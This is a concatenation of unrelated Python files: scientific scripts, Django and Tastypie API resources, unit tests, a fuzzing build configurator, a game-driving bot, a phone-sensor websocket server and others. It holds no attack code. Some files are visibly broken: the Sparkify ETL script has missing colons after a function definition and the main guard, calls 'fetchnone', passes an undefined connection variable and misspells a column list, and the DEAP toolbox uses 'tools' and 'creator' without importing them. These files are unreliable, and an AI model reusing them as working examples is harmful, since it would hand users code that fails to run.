loss_values.append(loss)
variances = []
for thetas in thetass:
qc = qiskit.QuantumCircuit(num_qubits, num_qubits)
qc = qtm.nqubit.create_Wchain_layerd_state(
qc, thetas, num_layers=num_layers).inverse()
psi_hat = qiskit.quantum_info.Statevector.from_instruction(qc).data
variances.append((np.conjugate(np.transpose(psi_hat)) @ self_tensor(tqix.sigmaz(), num_qubits) @ psi_hat)
** 2 - (np.conjugate(np.transpose(psi)) @ self_tensor(tqix.sigmaz(), num_qubits) @ psi)**2)
np.savetxt("./thetass" + str(num_qubits) + ".csv",
thetass,
delimiter=",")
np.savetxt("./variances" + str(num_qubits) + ".csv",
variances,
delimiter=",")
print(min((abs(x), x) for x in variances)[1])
print(variances[-1])
|
from django.db import models
# Create your models here.
class products(models.Model):
pname=models.CharField(max_length=15)
pcost = models.DecimalField(max_digits=10, decimal_places=4)
quantity=models.IntegerField()
def __str__(self):
return self.pname
|
import os
from unittest import mock
import pytest
import castero.config
from castero.config import Config
from castero.episode import Episode
from castero.feed import Feed
from castero.player import Player, PlayerDependencyError
my_dir = os.path.dirname(os.path.realpath(__file__))
feed = Feed(file=my_dir + "/feeds/valid_basic.xml")
episode = Episode(feed,
title="episode title",
description="episode description",
link="episode link",
pubdate="episode pubdate",
copyright="episode copyright",
enclosure="episode enclosure")
SomePlayer = mock.MagicMock()
available_players = {
"someplayer": SomePlayer
}
def test_player_create_instance_success_direct():
Config.data = {'player': 'someplayer'}
Player.create_instance(available_players, "t", "p", episode)
assert SomePlayer.check_dependencies.call_count == 1
SomePlayer.assert_called_with("t", "p", episode)
def test_player_create_instance_success_indirect():
Config.data = {'player': ''}
Player.create_instance(available_players, "t", "p", episode)
SomePlayer.check_dependencies.assert_called = 2
SomePlayer.assert_called_with("t", "p", episode)
def test_player_create_instance_dep_error_direct():
Config.data = {'player': 'someplayer'}
SomePlayer.check_dependencies.side_effect = PlayerDependencyError()
with pytest.raises(PlayerDependencyError):
Player.create_instance(available_players, "t", "p", episode)
assert SomePlayer.check_dependencies.call_count == 1
def test_player_create_instance_dep_error_indirect():
Config.data = {'player': ''}
SomePlayer.check_dependencies.side_effect = PlayerDependencyError()
with pytest.raises(PlayerDependencyError):
Player.create_instance(available_players, "t", "p", episode)
assert SomePlayer.check_dependencies.call_count == 1
|
#!/usr/bin/env python
"""
_Couchapp_
This is a general unittest for me should I need to create and
test couchapps. Its utility is probably limited for people who
know what they're doing, and for couchapps that will never need
to be altered
"""
import os
import unittest
import threading
import WMCore.WMBase
from WMCore.WMBS.File import File
from WMCore.WMBS.Fileset import Fileset
from WMCore.WMBS.Workflow import Workflow
from WMCore.WMBS.Subscription import Subscription
from WMCore.WMBS.JobGroup import JobGroup
from WMCore.WMBS.Job import Job
from WMCore.DataStructs.Run import Run
from WMCore.Database.CMSCouch import CouchServer
from WMCore.JobStateMachine.ChangeState import ChangeState
from WMCore.WMSpec.Makers.TaskMaker import TaskMaker
from WMCore.Services.UUIDLib import makeUUID
from WMCore.FwkJobReport.Report import Report
from WMQuality.TestInitCouchApp import TestInitCouchApp as TestInit
from WMCore_t.WMSpec_t.TestSpec import testWorkload
class CouchappTest(unittest.TestCase):
def setUp(self):
myThread = threading.currentThread()
self.testInit = TestInit(__file__)
self.testInit.setLogging()
self.testInit.setDatabaseConnection()
self.testInit.setSchema(customModules = ["WMCore.WMBS"],
useDefault = False)
self.databaseName = "couchapp_t_0"
# Setup config for couch connections
config = self.testInit.getConfiguration()
self.testInit.setupCouch(self.databaseName, "WorkloadSummary")
self.testInit.setupCouch("%s/jobs" % config.JobStateMachine.couchDBName, "JobDump")
self.testInit.setupCouch("%s/fwjrs" % config.JobStateMachine.couchDBName, "FWJRDump")
self.testInit.setupCouch(config.JobStateMachine.summaryStatsDBName, "SummaryStats")
# Create couch server and connect to databases
self.couchdb = CouchServer(config.JobStateMachine.couchurl)
self.jobsdatabase = self.couchdb.connectDatabase("%s/jobs" % config.JobStateMachine.couchDBName)
self.fwjrdatabase = self.couchdb.connectDatabase("%s/fwjrs" % config.JobStateMachine.couchDBName)
self.statsumdatabase = self.couchdb.connectDatabase(config.JobStateMachine.summaryStatsDBName)
# Create changeState
self.changeState = ChangeState(config)
self.config = config
# Create testDir
self.testDir = self.testInit.generateWorkDir()
return
def tearDown(self):
self.testInit.clearDatabase(modules = ["WMCore.WMBS"])
self.testInit.tearDownCouch()
self.testInit.delWorkDir()
#self.testInit.tearDownCouch()
return
def createWorkload(self, workloadName = 'Test', emulator = True):
"""
_createTestWorkload_
Creates a test workload for us to run on, hold the basic necessities.
"""
workload = testWorkload("Tier1ReReco")
taskMaker = TaskMaker(workload, os.path.join(self.testDir, 'workloadTest'))
taskMaker.skipSubscription = True
taskMaker.processWorkload()
workload.save(workloadName)
return workload
def createTestJobGroup(self, name = "TestWorkthrough",
specLocation = "spec.xml", error = False,
task = "/TestWorkload/ReReco", nJobs = 10):
"""
_createTestJobGroup_
Generate a test WMBS JobGroup with real FWJRs
"""
myThread = threading.currentThread()
testWorkflow = Workflow(spec = specLocation, owner = "Simon",
name = name, task = task)
testWorkflow.create()
testWMBSFileset = Fileset(name = name)
testWMBSFileset.create()
testFileA = File(lfn = makeUUID(), size = 1024, events = 10)
testFileA.addRun(Run(10, *[12312]))
testFileA.setLocation('malpaquet')
testFileB = File(lfn = makeUUID(), size = 1024, events = 10)
testFileB.addRun(Run(10, *[12312]))
testFileB.setLocation('malpaquet')
testFileA.create()
testFileB.create()
testWMBSFileset.addFile(testFileA)
testWMBSFileset.addFile(testFileB)
testWMBSFileset.commit()
testWMBSFileset.markOpen(0)
testSubscription = Subscription(fileset = testWMBSFileset,
workflow = testWorkflow)
testSubscription.create()
testJobGroup = JobGroup(subscription = testSubscription)
testJobGroup.create()
for i in range(0, nJobs):
testJob = Job(name = makeUUID())
testJob.addFile(testFileA)
testJob.addFile(testFileB)
testJob['retry_count'] = 1
testJob['retry_max'] = 10
testJob['mask'].addRunAndLumis(run = 10, lumis = [12312, 12313])
testJobGroup.add(testJob)
testJobGroup.commit()
report = Report()
if error:
path = os.path.join(WMCore.WMBase.getTestBase(),
"WMComponent_t/JobAccountant_t/fwjrs", "badBackfillJobReport.pkl")
else:
path = os.path.join(WMCore.WMBase.getTestBase(),
"WMComponent_t/JobAccountant_t/fwjrs", "PerformanceReport2.pkl")
report.load(filename = path)
self.changeState.propagate(testJobGroup.jobs, 'created', 'new')
self.changeState.propagate(testJobGroup.jobs, 'executing', 'created')
self.changeState.propagate(testJobGroup.jobs, 'complete', 'executing')
for job in testJobGroup.jobs:
job['fwjr'] = report
self.changeState.propagate(testJobGroup.jobs, 'jobfailed', 'complete')
self.changeState.propagate(testJobGroup.jobs, 'retrydone', 'jobfailed')
self.changeState.propagate(testJobGroup.jobs, 'exhausted', 'retrydone')
self.changeState.propagate(testJobGroup.jobs, 'cleanout', 'exhausted')
testSubscription.completeFiles([testFileA, testFileB])
return testJobGroup
def testHighestJobID(self):
"""
_highestJobID_
This is a jobDump function that should tell us the highest jobID
currently being stored in the couch DB.
"""
workloadPath = os.path.join(self.testDir, 'spec.pkl')
workload = self.createWorkload(workloadName = workloadPath)
testJobGroup = self.createTestJobGroup(name = workload.name(),
specLocation = workloadPath,
error = False, nJobs = 10)
jobID = self.jobsdatabase.loadView("JobDump", "highestJobID")['rows'][0]['value']
self.assertEqual(jobID, 9)
testJobGroup2 = self.createTestJobGroup(name = workload.name(),
specLocation = workloadPath,
error = False, nJobs = 10)
jobID = self.jobsdatabase.loadView("JobDump", "highestJobID")['rows'][0]['value']
self.assertEqual(jobID, 19)
return
if __name__ == '__main__':
unittest.main()
|
#!/usr/bin/env python3
# SPDX-License-Identifier: MIT
# SPDX-FileCopyrightText: 2021 Filipe Laíns <lains@riseup.net>
import os
import pathlib
import traceback
from typing import Dict
import build_system
import build_system.builder
import build_system.dependencies
import build_system.ninja
import configure
class OSSFuzzNinjaBuilder(build_system.ninja.NinjaBuilder):
"""ninja build for oss-fuzz.
Uses $CXX to link and injects $CFLAGS, $CXXFLAGS and $LIB_FUZZING_ENGINE.
https://google.github.io/oss-fuzz/getting-started/new-project-guide/#Requirements
"""
def write_variables(
self,
details: build_system.BuildDetails,
settings: build_system.BuildSettings,
dependencies: Dict[str, build_system.dependencies.Dependency],
) -> None:
self.writer.comment('variables')
self.writer.newline()
# paths
for placeholder, path in self._path_placeholders.items():
self.writer.variable(placeholder, path)
# tools
self.writer.variable('cc', os.environ.get('CC', 'clang'))
self.writer.variable('cxx', os.environ.get('CXX', 'clang++'))
self.writer.variable('ar', 'ar')
self.writer.variable('objcopy', 'objcopy')
self.writer.variable('size', 'size')
# flags
self.writer.variable('c_flags', details.c_flags + [
os.environ.get('CFLAGS', ''),
])
self.writer.variable('cxx_flags', details.c_flags + [
os.environ.get('CXXFLAGS', ''),
])
self.writer.variable('c_include_flags', [
f'-I{self.path(self._location.code)}'
] + [
f'-include {self.path(path)}' for path in details.include_files
] + [
f'-I{self.path(path)}'
for dep in dependencies.values()
for path in dep.external_include
])
self.writer.variable('ld_flags', details.ld_flags + ([
f'-L{self.path(details.linker_dir)}',
f'-T{details.linker.relative_to(details.linker_dir)}',
] if details.linker else []) + [
os.environ.get('LIB_FUZZING_ENGINE', '-fsanitize=fuzzer,address'),
])
self.writer.newline()
def write_rules(self) -> None:
self.writer.comment('rules')
self.writer.newline()
self.writer.rule(
'cc',
command='$cc -MMD -MT $out -MF $out.d $c_flags $c_include_flags -c $in -o $out',
depfile='$out.d',
deps='gcc',
description='CC $out',
)
self.writer.rule(
'cxx',
command='$cc -MMD -MT $out -MF $out.d $cxx_flags $c_include_flags -c $in -o $out',
depfile='$out.d',
deps='gcc',
description='CXX $out',
)
self.writer.newline()
self.writer.rule(
'ar',
command='rm -f $out && $ar crs $out $in',
description='AR $out',
)
self.writer.newline()
self.writer.rule(
'link',
command='$cxx -o $out $in $ld_flags',
description='LINK $out',
)
self.writer.newline()
self.writer.rule(
'bin',
command='$objcopy -O binary $in $out',
description='BIN $out',
)
self.writer.newline()
self.writer.rule(
'hex',
command='$objcopy -O ihex $in $out',
description='HEX $out',
)
self.writer.newline()
if __name__ == '__main__':
project_root = pathlib.Path(__file__).absolute().parent
cc = os.environ.get('CC', 'clang')
if cc not in ('gcc', 'clang'):
raise ValueError('Incompatible $CC, only `gcc` or `clang` are supported')
try:
builder = build_system.builder.Builder(
build_system.BuildLocation(project_root, 'build-fuzz'),
build_system.TargetInfo('fuzz'),
build_system.BuildSettings(compiler=cc), # type: ignore[arg-type]
build_system.VendorInfo(),
build_system.VersionInfo.from_git(),
)
builder.print_summary()
builder.write_ninja(ninja_build_cls=OSSFuzzNinjaBuilder)
print("\nbuild.ninja written! Call 'ninja' to compile...")
except Exception as e:
print()
print(configure._DIM + traceback.format_exc() + configure._RESET)
configure._error(str(e))
|
from src.utils.data_processing import *
from src.utils.helpers import *
|
import os
import glob
import psycopg2
import pandas as pd
from sql_queries import *
def process_song_file(cur, filepath):
"""
Process songs files and insert records into the Postgres database.
:param cur: cursor reference
:param filepath: complete file path for the file to load
"""
# open song file
df = pd.DataFrame([pd.read_hdf(filepath, type="series",
covert_dates=False)])
for value in df.values:
num_songs, artist_id, artist_longitude, artist_location, artist_name,
song_id, title, duration, year = value
# insert artist record
artist_data = (artist_id, artist_name, artist_location, artist_latitude,
artist_longitude)
# insert song record
song_data = (song_id, title, artist_id, year, duration)
print(f"Records inserted for file {filepath}")
def process_log_file(cur, filepath):
"""
Process event log files and insert records into the Postgres database
:param cur: cursor reference
:param filepath: complete file path for the file to load
"""
# open log file
df = df = pd.read_hdf(filepath, lines=True)
# filter by next song action
df = df[df["page"] == "NextSong"].astype({"ts": "datetime64[ms]"})
# convert timestamp colum to datetime format
t = pd.Series(df['ts'], index=df.index)
# insert time data records
column_lables = ["timestamp", "hour", "day", "weekofyear", "month", "year",
"weekday"]
time_data = []
for data in t:
time_data.append([data, data.hour, data.day, data.weekofyear,
data.month, data.year, data.day_name()])
time_df = pd.DataFrame.from_records(data = time_data, columns = column_labels)
for i, row in time_df.iterrows():
cur.execute(time_table_insert, list(row))
# load user tables
user_df = df[['userId', 'firstName', 'lastName', 'gender', 'level']]
# insert user records
for i, row in user_df.iterrows():
cur.execute(user_table_insert, row)
# insert songplay records
for index, row in df.iterrows():
# get songID and artistID from song and artist tables
cur.execute(song_select, (row.song, row.artist, row.length))
results = cur.fetchnone()
if results:
songid, artistid = results
else:
songid, artistid = None, None
# insert songplay record
songplay_data = ( row.ts, row.userId, row.level, songid, artistid,
row.sessionId, row.location, row.userAgent)
cur.execute(songplay_table_insert, songplay_data)
def process_data(cur, conn, filepath, func)
"""
Driver function to load data from songs and event log files into Postgres
database.
:param cur: a database cursor reference
:param conn: database connection reference
:param filepath: parent directory where the files exists
:param func: function to call
"""
# get all files matching extension from directory
all_files = []
for root, dirs, file in os.walk(filepath):
files = glob.glob(os.path.join(root, '*.json'))
for f in files:
all_files.append(os.path.abspath(f))
# get total number of files found
num_files = len(all_files)
print('{} files found in {}'.format(num_files, filepath))
# iterate over files and process
for i, datafile in enumerate(all_files, 1):
func(cur, datafile)
conn.commit()
print('{}/{} files processed.'.format(i, num_files))
def main():
"""
driver function for loading songs and log data into Postgres database
"""
conn = psycopg2.connect("host=127.0.0.1 dbname=sparkifydb user=postres password=admin")
cur = conn.cursor()
process_data(cur, con, filepath='data/song_data', func=process_song_file)
process_data(cur, con, filepath='data/log_data', func=process_log_file)
conn.close()
if __name__ == "__main__"
main()
print("\n\nFinished processing!\n\n")
|
from grabscreen import grabscreen
import torch
import numpy as np
from grabkeys import key_check
from grabscreen import grabscreen
import cv2
import time
from directkeys import PressKey,ReleaseKey, W, A, S, D
import random
weights = np.array([1, 0.4, 0.5, 0.5, 0.5, 0.5, 1.5, 0.5, 0.2])
w = [1,0,0,0,0,0,0,0,0]
s = [0,1,0,0,0,0,0,0,0]
a = [0,0,1,0,0,0,0,0,0]
d = [0,0,0,1,0,0,0,0,0]
wa = [0,0,0,0,1,0,0,0,0]
wd = [0,0,0,0,0,1,0,0,0]
sa = [0,0,0,0,0,0,1,0,0]
sd = [0,0,0,0,0,0,0,1,0]
def straight():
PressKey(W)
ReleaseKey(A)
ReleaseKey(D)
ReleaseKey(S)
def left():
PressKey(A)
ReleaseKey(W)
ReleaseKey(D)
ReleaseKey(S)
def right():
PressKey(D)
ReleaseKey(A)
ReleaseKey(W)
ReleaseKey(S)
def reverse():
PressKey(S)
ReleaseKey(A)
ReleaseKey(W)
ReleaseKey(D)
def forward_left():
PressKey(W)
PressKey(A)
ReleaseKey(D)
ReleaseKey(S)
def forward_right():
PressKey(W)
PressKey(D)
ReleaseKey(A)
ReleaseKey(S)
def reverse_left():
PressKey(S)
PressKey(A)
ReleaseKey(W)
ReleaseKey(D)
def reverse_right():
PressKey(S)
PressKey(D)
ReleaseKey(W)
ReleaseKey(A)
def no_keys():
PressKey(W)
ReleaseKey(A)
ReleaseKey(S)
ReleaseKey(D)
model = torch.load('driveNet-ResNetMini.pth')
def main():
paused = False
while(True):
if not paused:
screen = grabscreen()
prediction = model(torch.tensor(np.expand_dims(screen.reshape(3, 128, 128), axis=0)).float())
#prediction = model(torch.tensor([screen.reshape(3, 128 ,128)]))
prediction = prediction.detach().numpy()
prediction = prediction * np.array([1.3, 1, 1, 1, 1, 1, 1, 1, 1])
#prediction = prediction * np.array([4.5, 0.1, 0.1, 0.1, 1.8, 1.8, 0.5, 0.5, 0.2])
print(np.argmax(prediction))
if np.argmax(prediction) == np.argmax(w):
straight()
elif np.argmax(prediction) == np.argmax(s):
reverse()
if np.argmax(prediction) == np.argmax(a):
left()
if np.argmax(prediction) == np.argmax(d):
right()
if np.argmax(prediction) == np.argmax(wa):
forward_left()
if np.argmax(prediction) == np.argmax(wd):
forward_right()
if np.argmax(prediction) == np.argmax(sa):
reverse_left()
if np.argmax(prediction) == np.argmax(sd):
reverse_right()
main()
|
# Copyright (c) 2018 DDN. All rights reserved.
# Use of this source code is governed by a MIT-style
# license that can be found in the LICENSE file.
from collections import defaultdict
from chroma_api.utils import SeverityResource, DateSerializer
from django.contrib.contenttypes.models import ContentType
from chroma_core.models.alert import AlertState
from chroma_core.models.alert import AlertStateBase
from chroma_core.models.alert import AlertSubscription
from chroma_core.models.utils import STR_TO_SEVERITY
from tastypie.utils import trailing_slash
from tastypie.resources import Resource
from tastypie import fields
from tastypie.api import url
from tastypie import http
from tastypie.exceptions import ImmediateHttpResponse
from tastypie.authorization import DjangoAuthorization
from tastypie.validation import Validation
from chroma_api.authentication import AnonymousAuthentication
from chroma_core.models.lnet_configuration import LNetOfflineAlert
from chroma_core.models.host import UpdatesAvailableAlert, ManagedHost
from chroma_api.chroma_model_resource import ChromaModelResource
from iml_common.lib import util
class AlertSubscriptionValidation(Validation):
def is_valid(self, bundle, request=None):
errors = defaultdict(list)
# Invalid alert_types and nonexistent user_ids will result in 404s,
# but we should probably protect against non-superusers changing
# other users' subscriptions. That's a dirty prank.
import re
try:
match = re.search(r"/(\d+)/?$", bundle.data["user"])
bundle_user_id = match.group(1)
if not "superusers" in [g.name for g in request.user.groups.all()]:
if "%s" % bundle_user_id != "%s" % request.user.id:
errors["user"].append("Only superusers may change other users' subscriptions.")
except (KeyError, AttributeError):
errors["user"].append("Missing or malformed user parameter")
return errors
class AlertSubscriptionAuthorization(DjangoAuthorization):
def read_list(self, object_list, bundle):
request = bundle.request
if request.method is None:
# Internal request, it's all good.
return object_list
elif not request.user.is_authenticated():
# Nothing for Anonymous
return object_list.none()
elif "superusers" in [g.name for g in request.user.groups.all()]:
# Superusers can manage other users' subscriptions
return object_list
else:
# Users should only see their own subscriptions
return object_list.filter(user=request.user)
class AlertSubscriptionResource(ChromaModelResource):
user = fields.ToOneField(
"chroma_api.user.UserResource", "user", help_text="User to which this subscription belongs"
)
alert_type = fields.ToOneField(
"chroma_api.alert.AlertTypeResource",
"alert_type",
help_text="Content-type id for this subscription's alert class",
full=True,
)
class Meta:
resource_name = "alert_subscription"
queryset = AlertSubscription.objects.all()
authorization = AlertSubscriptionAuthorization()
authentication = AnonymousAuthentication()
list_allowed_methods = ["get", "post", "patch"]
detail_allowed_methods = ["get", "delete", "put"]
validation = AlertSubscriptionValidation()
class AlertTypeResource(Resource):
"""
A list of possible alert types. Use for
populating alert subscriptions.
"""
id = fields.CharField()
description = fields.CharField()
def dehydrate_id(self, bundle):
return str(bundle.obj.id)
def dehydrate_description(self, bundle):
def _fixup_alert_name(alert):
import re
capitalized = str(alert).capitalize()
ret = re.sub(r"L net", "LNet", capitalized)
return ret
return _fixup_alert_name(bundle.obj)
def get_resource_uri(self, bundle_or_obj=None):
from tastypie.bundle import Bundle
url_name = "api_dispatch_list"
if bundle_or_obj is not None:
url_name = "api_dispatch_detail"
kwargs = {"resource_name": self._meta.resource_name, "api_name": self._meta.api_name}
if isinstance(bundle_or_obj, Bundle):
kwargs["pk"] = bundle_or_obj.obj.id
elif bundle_or_obj is not None:
kwargs["pk"] = bundle_or_obj.id
return self._build_reverse_url(url_name, kwargs=kwargs)
def get_object_list(self, request):
return [ContentType.objects.get_for_model(cls) for cls in AlertStateBase.subclasses() if cls is not AlertState]
def obj_get_list(self, bundle, **kwargs):
return self.get_object_list(bundle.request)
def obj_get(self, bundle, **kwargs):
return ContentType.objects.get(pk=kwargs["pk"])
class Meta:
resource_name = "alert_type"
authorization = DjangoAuthorization()
authentication = AnonymousAuthentication()
list_allowed_methods = ["get"]
detail_allowed_methods = ["get"]
class AlertResource(SeverityResource):
"""
Notification of a bad health state. Alerts refer to particular objects (such as
servers or targets), and can either be active (indicating this is a current
problem) or inactive (indicating this is a historical record of a problem).
"""
message = fields.CharField(
readonly=True, help_text=("Human readable description " "of the alert, about one sentence")
)
alert_item = fields.CharField(help_text="URI of affected item")
affected = fields.ListField(
null=True,
help_text=(
"List of objects which are affected by the alert "
"(e.g. a target alert also affects the file system to "
"which the target belongs)"
),
)
alert_item_str = fields.CharField(
readonly=True, help_text=("A human readable noun describing the object " "that is the subject of the alert")
)
record_type = fields.CharField(
attribute="record_type",
help_text="The type of the alert described as a Python classes",
enumerations=[class_.__name__ for class_ in util.all_subclasses(AlertStateBase)],
)
severity = fields.CharField(
attribute="severity",
help_text=("String indicating the " "severity of the alert, " "one of %s") % STR_TO_SEVERITY.keys(),
enumerations=STR_TO_SEVERITY.keys(),
)
def prepend_urls(self):
return [
url(
r"^(?P<resource_name>%s)/dismiss_all%s$" % (self._meta.resource_name, trailing_slash()),
self.wrap_view("dismiss_all"),
name="api_alert_dismiss_all",
)
]
def dismiss_all(self, request, **kwargs):
if (request.method != "PUT") or (not request.user.is_authenticated()):
return http.HttpUnauthorized()
AlertState.objects.filter(dismissed=False).exclude(active=True, severity__in=[40, 30]).update(dismissed=True)
return http.HttpNoContent()
def dehydrate_alert_item(self, bundle):
from chroma_api.urls import api
return api.get_resource_uri(bundle.obj.alert_item)
def dehydrate_alert_item_str(self, bundle):
return str(bundle.obj.alert_item)
def dehydrate_message(self, bundle):
return bundle.obj.message()
def dehydrate_affected(self, bundle):
from chroma_api.urls import api
alert = bundle.obj
affected_objects = []
def affect_target(target):
affected_objects.append(target)
if target.filesystem_member:
affected_objects.append(target.filesystem)
elif target.target_type == "mgs":
for fs in target.managedfilesystem_set.all():
affected_objects.append(fs)
affected_objects.extend(alert.affected_objects)
alert.affected_targets(affect_target)
affected_objects.append(alert.alert_item)
return [api.get_resource_uri(ao) for ao in set(affected_objects)]
def build_filters(self, filters=None):
filters = super(AlertResource, self).build_filters(filters)
# Map False to None and 'active_bool' to 'active'
if "active_bool__exact" in filters:
filters["active__exact"] = None if not filters["active_bool__exact"] else True
del filters["active_bool__exact"]
return filters
class Meta:
queryset = AlertState.objects.order_by("-begin")
resource_name = "alert"
filtering = {
"begin": SeverityResource.ALL_FILTER_DATE,
"end": SeverityResource.ALL_FILTER_DATE,
"message": SeverityResource.ALL_FILTER_STR,
"active": SeverityResource.ALL_FILTER_BOOL,
"dismissed": SeverityResource.ALL_FILTER_BOOL,
"id": SeverityResource.ALL_FILTER_INT,
"severity": SeverityResource.ALL_FILTER_ENUMERATION,
"created_at": SeverityResource.ALL_FILTER_DATE,
"alert_type": SeverityResource.ALL_FILTER_ENUMERATION,
"alert_item_id": SeverityResource.ALL_FILTER_INT,
"lustre_pid": SeverityResource.ALL_FILTER_INT,
"record_type": SeverityResource.ALL_FILTER_ENUMERATION,
}
ordering = ["begin", "end", "active"]
serializer = DateSerializer()
authorization = DjangoAuthorization()
authentication = AnonymousAuthentication()
list_allowed_methods = ["get"]
detail_allowed_methods = ["get", "patch", "put"]
always_return_data = True
class UpdatesAvailableAlertValidation(Validation):
def is_valid(self, bundle, request=None):
errors = {}
if not bundle.data.get("host_address"):
errors["host_address"] = "host_address required"
if bundle.data.get("available") is None:
errors["available"] = "available required"
return errors
class UpdatesAvailableAlertResource(Resource):
host_address = fields.CharField()
available = fields.BooleanField()
def obj_create(self, bundle, **kwargs):
self.is_valid(bundle)
if bundle.errors:
raise ImmediateHttpResponse(response=self.error_response(bundle.request, bundle.errors))
host_address = bundle.data.get("host_address")
available = bundle.data.get("available")
try:
mh = ManagedHost.objects.get(fqdn=host_address)
except ManagedHost.DoesNotExist:
raise ImmediateHttpResponse(
response=self.error_response(
bundle.request, {"host_not_found": "{} does not coorespond to a known host".format(host_address)}
)
)
if mh.needs_update is not available:
mh.needs_update = available
mh.save(update_fields=["needs_update"])
UpdatesAvailableAlert.notify(mh, available)
bundle.obj = {}
return bundle
def get_resource_uri(self, bundle_or_obj=None, url_name="api_dispatch_list"):
return super(UpdatesAvailableAlertResource, self).get_resource_uri(None, url_name)
class Meta:
resource_name = "updates_available"
authorization = DjangoAuthorization()
authentication = AnonymousAuthentication()
validation = UpdatesAvailableAlertValidation()
list_allowed_methods = ["post"]
detail_allowed_methods = []
|
from fbchat._group import Group
def test_group_from_graphql():
data = {
"name": "Group ABC",
"thread_key": {"thread_fbid": "11223344"},
"image": None,
"is_group_thread": True,
"all_participants": {
"nodes": [
{"messaging_actor": {"id": "1234"}},
{"messaging_actor": {"id": "2345"}},
{"messaging_actor": {"id": "3456"}},
]
},
"customization_info": {
"participant_customizations": [],
"outgoing_bubble_color": None,
"emoji": "😀",
},
"thread_admins": [{"id": "1234"}],
"group_approval_queue": {"nodes": []},
"approval_mode": 0,
"joinable_mode": {"mode": "0", "link": ""},
"event_reminders": {"nodes": []},
}
assert Group(
uid="11223344",
photo=None,
name="Group ABC",
last_active=None,
message_count=None,
plan=None,
participants={"1234", "2345", "3456"},
nicknames={},
color=None,
emoji="😀",
admins={"1234"},
approval_mode=False,
approval_requests=set(),
join_link="",
) == Group._from_graphql(data)
|
#!/bin/python
from deap import base
from copy import deepcopy
import random
import promoterz.supplement.age
import promoterz.supplement.PRoFIGA
import promoterz.supplement.phenotypicDivergence
# population as last positional argument, to blend with toolbox;
def immigrateHoF(HallOfFame, population):
if not HallOfFame.items:
return population
for Q in range(1):
CHP = deepcopy(random.choice(HallOfFame))
del CHP.fitness.values
population += [CHP]
return population
def immigrateRandom(populate, nb_range, population): #(populate function)
number = random.randint(*nb_range)
population += populate(number)
return population
def filterAwayWorst(population, N=5):
aliveSize = len(population)-5
population = tools.selBest(population, aliveSize)
return population
def filterAwayThreshold(locale, Threshold):
locale.population = [ind for ind in locale.population if ind.fitness.values[0] > Threshold]
def evaluatePopulation(locale):
individues_to_simulate = [ind for ind in locale.population if not ind.fitness.valid]
fitnesses = locale.World.parallel.starmap(locale.extratools.Evaluate,
zip(individues_to_simulate))
for i, fit in zip(range(len(individues_to_simulate)), fitnesses):
individues_to_simulate[i].fitness.values = fit
return len(individues_to_simulate)
def getLocaleEvolutionToolbox(World, locale):
toolbox = base.Toolbox()
toolbox.register("ImmigrateHoF", immigrateHoF, locale.HallOfFame)
toolbox.register("ImmigrateRandom", immigrateRandom, World.tools.population)
toolbox.register("filterThreshold", filterAwayThreshold, locale)
toolbox.register('ageZero', promoterz.supplement.age.ageZero)
toolbox.register('populationAges', promoterz.supplement.age.populationAges,
World.genconf.ageBoundaries)
toolbox.register('populationPD',
promoterz.supplement.phenotypicDivergence.populationPhenotypicDivergence,
World.tools.constructPhenotype)
toolbox.register('evaluatePopulation', evaluatePopulation)
return toolbox
def getGlobalToolbox(representationModule):
# GLOBAL FUNCTION TO GET GLOBAL TBX UNDER DEVELOPMENT (ITS COMPLICATED);
toolbox = base.Toolbox()
creator.create("FitnessMax", base.Fitness, weights=(1.0,))
creator.create("Individual", list, fitness=creator.FitnessMax,
PromoterMap=None, Strategy=genconf.Strategy)
toolbox.register("mate", representationModule.crossover)
toolbox.register("mutate", representationModule.mutate)
PromoterMap = initPromoterMap(Attributes)
toolbox.register("newind", initInd, creator.Individual, PromoterMap)
toolbox.register("population", tools.initRepeat, list, toolbox.newind)
toolbox.register("constructPhenotype", representationModule.constructPhenotype)
return toolbox
|
#import cmip
import cmip_model
import bmi_cmip
import cmip_utils as cu
|
from ParadoxTrading.Chart import Wizard
from ParadoxTrading.Fetch.ChineseFutures import FetchDominantIndex
from ParadoxTrading.Indicator import FastVolatility
fetcher = FetchDominantIndex()
market = fetcher.fetchDayData('20100101', '20170101', 'rb')
fast_vol_1 = FastVolatility(30, _smooth=1).addMany(market).getAllData()
fast_vol_12 = FastVolatility(30, _smooth=12).addMany(market).getAllData()
wizard = Wizard()
price_view = wizard.addView('price')
price_view.addCandle(
'price', market.index(), market.toRows([
'openprice', 'highprice', 'lowprice', 'closeprice'
])[0]
)
sub_view = wizard.addView('std')
sub_view.addLine('fast_vol_1', fast_vol_1.index(), fast_vol_1['volatility'])
sub_view.addLine('fast_vol_12', fast_vol_12.index(), fast_vol_12['volatility'])
wizard.show()
|
#!/usr/bin/env python
import asyncio
import websockets
import socket
def get_ip():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
# doesn't even have to be reachable
s.connect(('10.255.255.255', 1))
IP = s.getsockname()[0]
except Exception:
IP = '127.0.0.1'
finally:
s.close()
return IP
hostname = socket.gethostname()
IPAddr = get_ip()
print("Your Computer Name is: " + hostname)
print("Your Computer IP Address is: " + IPAddr)
print("Enter {0}:5000 in the app [PhonePi] and select the sensors to stream. For PhonePi+ just enter {0}, without the port".format(IPAddr))
async def echo(websocket, path):
async for message in websocket:
if path == '//accelerometer':
data = await websocket.recv()
print(data)
f = open("accelerometer.txt", "a")
f.write(data+"\n")
if path == '//gyroscope':
data = await websocket.recv()
print(data)
f = open("gyroscope.txt", "a")
f.write(data+"\n")
if path == '//magnetometer':
data = await websocket.recv()
print(data)
f = open("magnetometer.txt", "a")
f.write(data+"\n")
if path == '//orientation':
data = await websocket.recv()
print(data)
f = open("orientation.txt", "a")
f.write(data+"\n")
if path == '//stepcounter':
data = await websocket.recv()
print(data)
f=open("stepcounter.txt", "a")
f.write(data+"\n")
if path == '//thermometer':
data = await websocket.recv()
print(data)
f=open("thermometer.txt", "a")
f.write(data+"\n")
if path == '//lightsensor':
data = await websocket.recv()
print(data)
f=open("lightsensor.txt", "a")
f.write(data+"\n")
if path == '//proximity':
data = await websocket.recv()
print(data)
f=open("proximity.txt", "a")
f.write(data+"\n")
if path == '//geolocation':
data = await websocket.recv()
print(data)
f=open("geolocation.txt", "a")
f.write(data+"\n")
asyncio.get_event_loop().run_until_complete(
websockets.serve(echo, '0.0.0.0', 5000))
asyncio.get_event_loop().run_forever()
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2021/9/3 17:43
# @Author : CrissChan
# @Site : https://blog.csdn.net/crisschan
# @File : 4-2.py
# @Software: PyCharm
import requests
import json
print('--------post-param-------')
url_login = 'http://127.0.0.1:12356/login'
